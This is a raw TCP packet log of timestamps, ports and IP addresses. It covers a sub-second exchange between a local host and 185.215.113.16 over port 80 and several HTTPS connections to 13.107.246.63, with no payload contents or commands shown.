Nov 22, 2024 23:06:48.984164953 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.984216928 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.984790087 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.984839916 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.985158920 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.985429049 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.985963106 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.986129045 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.986624956 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.986676931 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.987107038 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.987154961 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.987205982 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.987246037 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.988307953 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.989187956 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.989389896 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.989449024 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.989592075 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.989645958 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.989778042 CET	443	49903	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:48.989854097 CET	443	49903	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:48.989990950 CET	49903	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:48.990658998 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.990812063 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.990983009 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.991029024 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.991802931 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.991867065 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.992141962 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.992196083 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.992957115 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.993046045 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.993839979 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.993915081 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.994196892 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.994211912 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.994257927 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.995337009 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.996177912 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.996251106 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.996551037 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.996563911 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.996597052 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.996612072 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.997713089 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.998363972 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.998883963 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.998898029 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.998943090 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:48.998985052 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:48.999191999 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.000030041 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.000849009 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.000914097 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.001188040 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.001255035 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.001688004 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.001774073 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.002386093 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.002818108 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.002880096 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.003537893 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.004065037 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.004128933 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.004373074 CET	49903	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:49.004400969 CET	443	49903	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:49.004424095 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.004698992 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.004739046 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.004816055 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.004987955 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.005887985 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.005963087 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.005992889 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.006155968 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.007067919 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.007162094 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.007208109 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.008266926 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.008327007 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.008466959 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.008794069 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.009424925 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.009483099 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.009857893 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.010394096 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.010556936 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.010672092 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.010704994 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.010987997 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.011759996 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.011820078 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.012145996 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.012387037 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.012945890 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.012993097 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.013067007 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.013106108 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.014101028 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.014144897 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.015223026 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.015275002 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.015285015 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.015288115 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.015328884 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.015343904 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.016441107 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.016792059 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.016796112 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.016841888 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.017604113 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.017795086 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.017965078 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.018802881 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.019057989 CET	49910	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:49.019094944 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.019099951 CET	443	49910	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:49.019164085 CET	49910	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:49.019191027 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.019231081 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.019965887 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.020032883 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.020195961 CET	49910	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:49.020219088 CET	443	49910	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:49.020878077 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.021182060 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.021194935 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.021209955 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.021231890 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.022324085 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.022377968 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.023211002 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.023258924 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.023478985 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.023555040 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.023586988 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.023607016 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.065649033 CET	443	49905	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:49.065720081 CET	443	49905	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:49.065859079 CET	49905	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:49.070528984 CET	49905	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:49.070548058 CET	443	49905	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:49.070560932 CET	49905	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:49.070565939 CET	443	49905	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:49.073184967 CET	49911	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:49.073215961 CET	443	49911	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:49.073344946 CET	49911	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:49.073491096 CET	49911	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:49.073510885 CET	443	49911	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:49.076141119 CET	443	49902	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:49.076220989 CET	443	49902	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:49.076271057 CET	49902	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:49.076510906 CET	49902	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:49.076519966 CET	443	49902	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:49.076531887 CET	49902	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:49.076535940 CET	443	49902	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:49.079207897 CET	49912	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:49.079242945 CET	443	49912	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:49.079330921 CET	49912	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:49.083319902 CET	49912	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:49.083328962 CET	443	49912	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:49.091758013 CET	443	49904	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:49.091826916 CET	443	49904	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:49.091978073 CET	49904	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:49.092942953 CET	49904	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:49.092942953 CET	49904	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:49.092956066 CET	443	49904	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:49.092967033 CET	443	49904	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:49.102163076 CET	49913	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:49.102210999 CET	443	49913	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:49.102278948 CET	49913	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:49.103241920 CET	49913	443	192.168.2.5	13.107.246.63
Nov 22, 2024 23:06:49.103256941 CET	443	49913	13.107.246.63	192.168.2.5
Nov 22, 2024 23:06:49.173393965 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.173491955 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.173559904 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.173602104 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.173907042 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.174036980 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.174207926 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.174247026 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.175163984 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.175209999 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.175328970 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.175481081 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.176263094 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.176314116 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.176693916 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.176738024 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.177447081 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.177504063 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.177587032 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.177629948 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.178625107 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.178771019 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.178854942 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.178895950 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.179775953 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.179836035 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.179842949 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.179883957 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.180964947 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.181015968 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.181072950 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.181147099 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.182147026 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.182224035 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.182286024 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.182333946 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.183309078 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.183414936 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.183439970 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.183471918 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.184557915 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.184602976 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.184745073 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.184798956 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.184895992 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.185787916 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.185825109 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.185833931 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.185877085 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.186825991 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.186877966 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.186938047 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.187099934 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.188028097 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.188077927 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.188138962 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.188178062 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.189174891 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.189243078 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.189512014 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.189606905 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.190347910 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.190413952 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.190578938 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.190629005 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.191549063 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.191617966 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.191632032 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.191663027 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.192697048 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.192758083 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.192878962 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.192924023 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.193866968 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.194015980 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.194025040 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.194205046 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.195054054 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.195120096 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.195157051 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.195194006 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.196218014 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.196274042 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.196595907 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.196652889 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.197418928 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.197488070 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.197777033 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.197832108 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.198573112 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.198616982 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.198734045 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.198771954 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.199723959 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.199781895 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.199955940 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.200011969 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.200938940 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.201004982 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.201066971 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.201248884 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.202078104 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.202132940 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.202270031 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.202354908 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.203270912 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.203330040 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.203485012 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.203584909 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.204438925 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.204487085 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.204669952 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.204727888 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.205586910 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.205660105 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.205838919 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.205912113 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.206747055 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.206809044 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.206865072 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.206904888 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.207957029 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.208007097 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.208043098 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.208268881 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.209108114 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.209156990 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.209229946 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.209414005 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.210289955 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.210342884 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.210508108 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.210552931 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.211448908 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.211491108 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.211518049 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.211529970 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.212630987 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.212697983 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.212829113 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.212898016 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.213799953 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.213854074 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.214107990 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.214186907 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.214962959 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.215013027 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.215099096 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.215284109 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.216140985 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.216191053 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.216418028 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.216465950 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.217314959 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.217365026 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.217490911 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.217677116 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.218487978 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.218544006 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.218580961 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.218619108 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.219677925 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.219746113 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.219984055 CET	80	49901	185.215.113.16	192.168.2.5
Nov 22, 2024 23:06:49.220040083 CET	49901	80	192.168.2.5	185.215.113.16
Nov 22, 2024 23:06:49.220825911 CET	80	49901	185.215.113.16	192.168.2.5
